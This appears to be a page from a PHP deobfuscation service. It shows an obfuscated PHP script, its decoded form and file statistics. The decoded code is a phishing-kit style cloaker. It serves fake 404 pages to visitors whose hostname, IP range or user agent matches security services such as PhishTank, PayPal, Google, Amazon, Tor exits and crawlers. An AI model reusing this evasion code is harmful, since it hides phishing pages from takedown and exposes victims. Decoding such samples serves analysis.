Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4f\x42A\x4c\x53"}["\x61\x76\x6afh\x77\x70\x6a"]="\x69\x70";${"GL\x4f\x42\x..

Decoded Output download

<?php ${"GLOBALS"}["avjfhwpj"]="ip";${"GLOBALS"}["glxudmjhltc"]="bannedIP";${"GLOBALS"}["cntkyfyc"]="word";${"GLOBALS"}["ropttsz"]="blocked_words";${"GLOBALS"}["gptgfxntr"]="hostname";$sbhiaxkkblkb="blocked_words";${"GLOBALS"}["smmrtdjm"]="bannedIP";${${"GLOBALS"}["gptgfxntr"]}=gethostbyaddr($_SERVER["REMOTE_ADDR"]);$olpgaud="word";${$sbhiaxkkblkb}=array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","paypal");foreach(${${"GLOBALS"}["ropttsz"]} as${$olpgaud}){if(substr_count(${${"GLOBALS"}["gptgfxntr"]},${${"GLOBALS"}["cntkyfyc"]})>0){header("HTTP/1.0 404 Not Found");die("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}${${"GLOBALS"}["glxudmjhltc"]}=array("^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*");if(in_array($_SERVER["REMOTE_ADDR"],${${"GLOBALS"}["smmrtdjm"]})){header("HTTP/1.0 404 Not Found");exit();}else{$lpiabskd="bannedIP";foreach(${$lpiabskd} as${${"GLOBALS"}["avjfhwpj"]}){if(preg_match("/".${${"GLOBALS"}["avjfhwpj"]}."/",$_SERVER["REMOTE_ADDR"])){header("HTTP/1.0 404 Not Found");die("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}if(strpos($_SERVER["HTTP_USER_AGENT"],"google")or strpos($_SERVER["HTTP_USER_AGENT"],"msnbot")or strpos($_SERVER["HTTP_USER_AGENT"],"Yahoo! Slurp")or strpos($_SERVER["HTTP_USER_AGENT"],"YahooSeeker")or strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot")or strpos($_SERVER["HTTP_USER_AGENT"],"bingbot")or strpos($_SERVER["HTTP_USER_AGENT"],"crawler")or strpos($_SERVER["HTTP_USER_AGENT"],"PycURL")or strpos($_SERVER["HTTP_USER_AGENT"],"facebookexternalhit")!==false){header("HTTP/1.0 404 Not Found");exit;} 
?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42A\x4c\x53"}["\x61\x76\x6afh\x77\x70\x6a"]="\x69\x70";${"GL\x4f\x42\x41\x4c\x53"}["gl\x78\x75\x64mj\x68\x6c\x74\x63"]="\x62ann\x65d\x49\x50";${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x6et\x6b\x79\x66\x79c"]="\x77ord";${"G\x4c\x4f\x42\x41L\x53"}["r\x6fp\x74t\x73\x7a"]="\x62\x6c\x6f\x63\x6b\x65d\x5f\x77o\x72\x64\x73";${"G\x4c\x4f\x42\x41LS"}["\x67\x70\x74\x67\x66\x78\x6et\x72"]="h\x6fst\x6e\x61m\x65";$sbhiaxkkblkb="\x62l\x6fc\x6b\x65\x64\x5fw\x6f\x72\x64s";${"\x47\x4cO\x42\x41\x4cS"}["\x73\x6d\x6d\x72\x74d\x6am"]="b\x61\x6en\x65\x64IP";${${"\x47\x4cOB\x41\x4cS"}["\x67\x70\x74g\x66xn\x74\x72"]}=gethostbyaddr($_SERVER["REM\x4f\x54E\x5fA\x44\x44\x52"]);$olpgaud="\x77o\x72\x64";${$sbhiaxkkblkb}=array("\x61\x62ov\x65","go\x6fg\x6c\x65","\x73o\x66\x74\x6cay\x65\x72","\x61mazo\x6e\x61w\x73","c\x79\x76eill\x61n\x63e","phis\x68\x74\x61n\x6b","\x64re\x61mh\x6fs\x74","\x6e\x65\x74\x70i\x6co\x74","ca\x6cyxin\x73t\x69\x74u\x74e","\x74or-exit","\x70\x61\x79\x70al");foreach(${${"G\x4c\x4fB\x41\x4c\x53"}["r\x6f\x70\x74\x74\x73z"]} as${$olpgaud}){if(substr_count(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x67p\x74\x67\x66\x78\x6etr"]},${${"G\x4cO\x42AL\x53"}["c\x6et\x6b\x79f\x79\x63"]})>0){header("\x48\x54\x54\x50/\x31\x2e\x30\x20404\x20\x4eot \x46\x6f\x75n\x64");die("\x3c\x68\x31\x3e\x340\x34 N\x6f\x74\x20\x46o\x75n\x64\x3c/h1>Th\x65\x20pag\x65\x20th\x61t \x79o\x75 \x68ave\x20r\x65qu\x65\x73t\x65\x64 cou\x6c\x64 no\x74\x20be fou\x6ed.");}}${${"G\x4c\x4f\x42AL\x53"}["g\x6c\x78\x75\x64m\x6a\x68l\x74\x63"]}=array("^66.\x3102\x2e*.*","^3\x38.100.*\x2e*","^\x3107\x2e1\x37\x30.*.*","^149.2\x30\x2e*.*","^\x33\x38\x2e\x31\x30\x35\x2e*.*","^\x37\x34\x2e125\x2e*.*","^6\x36.\x31\x350.\x31\x34.*","^\x354\x2e1\x376.*.*","^\x338.100.*\x2e*","^\x3184.\x31\x37\x33\x2e*\x2e*","^\x36\x36\x2e\x324\x39\x2e*\x2e*","^\x31\x32\x38.\x3242\x2e*\x2e*","^\x372\x2e14.\x3192\x2e*","^2\x30\x38.\x36\x35.\x314\x34.*","^\x374\x2e1\x32\x35.*.*","^2\x30\x39.85.128.*","^21\x36.\x32\x33\x39\x2e32.*","^\x37\x34\x2e\x3125.*.*","^\x3207\x2e\x31\x326\x2e144\x2e*","^\x317\x33.\x3194.*\x2e*","^\x36\x34.23\x33\x2e\x31\x36\x30\x2e*","^72.\x31\x34\x2e19\x32\x2e*","^\x366\x2e\x31\x302\x2e*.*","^\x364.\x31\x38.*.*","^1\x39\x34.\x352\x2e\x36\x38.*","^1\x39\x34.\x37\x32\x2e23\x38.*","^\x36\x32.11\x36.20\x37\x2e*","^\x32\x31\x32\x2e50\x2e\x319\x33.*","^6\x39.6\x35\x2e*\x2e*","^\x35\x30.7\x2e*\x2e*","^\x31\x331\x2e\x32\x312.*.*","^4\x36\x2e11\x36.*\x2e* ","^\x36\x32\x2e9\x30.*.*","^\x389\x2e\x31\x338.*\x2e*","^82.\x3166\x2e*\x2e*","^\x385.64\x2e*\x2e*","^85\x2e2\x35\x30\x2e*\x2e*","^89.\x31\x338.*.*","^93.17\x32\x2e*.*","^\x310\x39\x2e\x31\x38\x36.*\x2e*","^\x31\x394.90.*.*","^212.29.1\x392\x2e*","^\x32\x31\x32\x2e29.\x32\x324.*","^212\x2e1\x343\x2e*\x2e*","^\x32\x312\x2e\x31\x35\x30.*\x2e*","^\x321\x32.\x323\x35.*\x2e*","^\x32\x317.\x31\x33\x32.*\x2e*","^\x350.97.*\x2e*","^\x321\x37.\x31\x33\x32\x2e*.*","^209.\x38\x35.*\x2e*","^66\x2e\x3205\x2e6\x34.*","^2\x30\x34.14\x2e\x348.*","^6\x34.\x327\x2e\x32.*","^\x367.15.*.*","^\x320\x32\x2e\x3108\x2e252\x2e*","^1\x393.\x34\x37.80\x2e*","^6\x34.\x36\x32\x2e\x313\x36.*","^\x36\x36.\x32\x321\x2e*\x2e*","^\x36\x34.\x36\x32\x2e\x3175\x2e*","^\x31\x398\x2e\x35\x34\x2e*\x2e*","^192\x2e1\x31\x35.1\x334\x2e*","^\x3216\x2e\x32\x35\x32\x2e1\x367\x2e*","^1\x39\x33.253\x2e\x319\x39.*","^\x36\x39\x2e6\x31.1\x32.*","^6\x34.37\x2e\x310\x33.*","^3\x38.14\x34\x2e3\x36.*","^\x364.\x312\x34.\x314.*","^\x320\x36.\x328\x2e7\x32.*","^2\x30\x39\x2e7\x33\x2e\x322\x38\x2e*","^\x3158\x2e1\x308\x2e*\x2e*","^\x31\x368\x2e\x3188.*\x2e*","^66.2\x30\x37.\x31\x320.*","^\x31\x36\x37.2\x34\x2e*.*","^1\x39\x32\x2e11\x38.\x34\x38\x2e*","^\x367.\x3209\x2e\x31\x328\x2e*","^\x312.\x31\x34\x38\x2e20\x39\x2e*","^\x312\x2e\x314\x38\x2e\x31\x39\x36\x2e*","^\x319\x33\x2e2\x320.\x3178.*","\x36\x38.\x365.\x35\x33\x2e\x37\x31","^1\x398.2\x35.*\x2e*","^\x36\x34\x2e\x310\x36.\x3213.*");if(in_array($_SERVER["\x52\x45M\x4f\x54\x45_AD\x44\x52"],${${"\x47\x4cOB\x41L\x53"}["sm\x6dr\x74\x64j\x6d"]})){header("\x48T\x54P/1\x2e\x30\x204\x304\x20\x4e\x6ft Found");exit();}else{$lpiabskd="\x62a\x6e\x6eed\x49P";foreach(${$lpiabskd} as${${"\x47LOBALS"}["\x61v\x6af\x68\x77p\x6a"]}){if(preg_match("/".${${"GL\x4f\x42\x41\x4cS"}["\x61\x76\x6a\x66h\x77\x70\x6a"]}."/",$_SERVER["REM\x4f\x54E_\x41\x44D\x52"])){header("\x48TTP/\x31\x2e0\x20\x3404\x20No\x74\x20\x46ou\x6e\x64");die("\x3ch1>4\x30\x34\x20\x4eot \x46\x6f\x75\x6ed</h\x31\x3eTh\x65 pa\x67\x65\x20\x74h\x61\x74 y\x6fu \x68\x61ve\x20\x72\x65\x71u\x65\x73t\x65\x64\x20co\x75\x6c\x64 not be\x20\x66\x6f\x75n\x64\x2e");}}}if(strpos($_SERVER["HT\x54\x50_\x55\x53\x45\x52_A\x47\x45\x4eT"],"\x67o\x6fg\x6ce")or strpos($_SERVER["HT\x54\x50_\x55\x53\x45\x52\x5f\x41\x47ENT"],"m\x73n\x62ot")or strpos($_SERVER["\x48T\x54\x50\x5fU\x53ER\x5fA\x47E\x4eT"],"\x59\x61\x68\x6fo!\x20\x53\x6c\x75r\x70")or strpos($_SERVER["HTTP_USER_\x41\x47\x45\x4eT"],"\x59a\x68o\x6f\x53eeke\x72")or strpos($_SERVER["HTTP_\x55\x53ER\x5f\x41\x47\x45\x4e\x54"],"Goog\x6ce\x62\x6ft")or strpos($_SERVER["\x48T\x54\x50_U\x53ER\x5f\x41\x47\x45NT"],"\x62\x69\x6egbot")or strpos($_SERVER["\x48T\x54P\x5f\x55S\x45\x52_AGEN\x54"],"\x63rawler")or strpos($_SERVER["H\x54\x54\x50\x5f\x55S\x45\x52_\x41GE\x4eT"],"\x50\x79cUR\x4c")or strpos($_SERVER["\x48T\x54\x50_\x55S\x45R_A\x47E\x4e\x54"],"fa\x63e\x62\x6f\x6f\x6bex\x74\x65\x72\x6e\x61\x6chit")!==false){header("\x48TTP/\x31.0\x20\x340\x34 \x4e\x6ft\x20\x46o\x75\x6ed");exit;}
?>

Function Calls

None

Variables

None

Stats

MD5 9706d3af0e56ba5eb5171bb738f51497
Eval Count 0
Decode Time 95 ms